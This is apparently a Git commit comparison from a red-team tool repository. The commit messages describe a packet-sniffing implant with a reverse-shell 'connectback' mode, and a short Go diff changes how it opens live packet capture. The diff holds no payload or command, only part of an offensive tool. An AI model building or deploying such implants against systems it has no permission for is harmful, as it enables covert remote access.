Compare commits

..

13 Commits

Author SHA1 Message Date
Pin
d590b2c3e5 changed append to write 2022-04-03 23:28:29 -04:00
Pin
cf70ae4f5b changed append to write 2022-04-03 23:25:18 -04:00
Pin
948a3aa0ab Adapter linux client for xinetd
Signed-off-by: Pin <wf6DJd8a3xSSCZbn@protonmail.com>
2022-04-03 22:02:41 -04:00
Pin
7b27f6aa82 adding fork message 2022-04-03 20:47:54 -04:00
Enzo
07c9b15d5a Merge pull request #1 from RITRedteam/static_linux
Linux Static Compilation Target
2022-02-22 14:10:36 -05:00
Michael Vaughan
929ba6b3e3 add linux static target 2022-02-11 12:38:29 -05:00
d3adzo
60b471be38 final updates + readme cleanup 2022-01-15 15:56:27 -05:00
d3adzo
0904512d63 connectback condition fail fixed 2022-01-15 15:29:10 -05:00
d3adzo
f57170b4d6 fixed 2x TCP issue 2022-01-15 15:16:19 -05:00
d3adzo
229692efc6 cross compile, now testing 2022-01-15 14:26:27 -05:00
d3adzo
b4906e4d9b added win support, need to fix cmd window syscall error 2022-01-14 20:19:39 -05:00
Pablo Potat0
85b1a39899 Update README.md 2022-01-14 12:43:13 -05:00
Pablo Potat0
3c04f89e01 Merge pull request #1 from mav8557/reverse-shell
Reverse Shell connectback Mode
2022-01-14 12:01:26 -05:00

14
main.go
View File

@@ -9,7 +9,6 @@ import (
"os/exec" "os/exec"
"runtime" "runtime"
"strings" "strings"
"time"
"strconv" "strconv"
@@ -71,21 +70,12 @@ func sInit(os string) *targetInfo {
return &tInfo return &tInfo
} }
func openCapture(tInfo *targetInfo) *pcap.Handle {
for {
handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
if err == nil {
return handle
}
time.Sleep(5 * time.Second)
}
}
func main() { func main() {
tInfo := sInit(runtime.GOOS) tInfo := sInit(runtime.GOOS)
// Read package and analze them // Read package and analze them
handle := openCapture(tInfo) handle, err := pcap.OpenLive(tInfo.iFace, tInfo.snaplen, true, pcap.BlockForever)
errorPrinter(err)
handle.SetBPFFilter(tInfo.filter) handle.SetBPFFilter(tInfo.filter)
packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets() packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()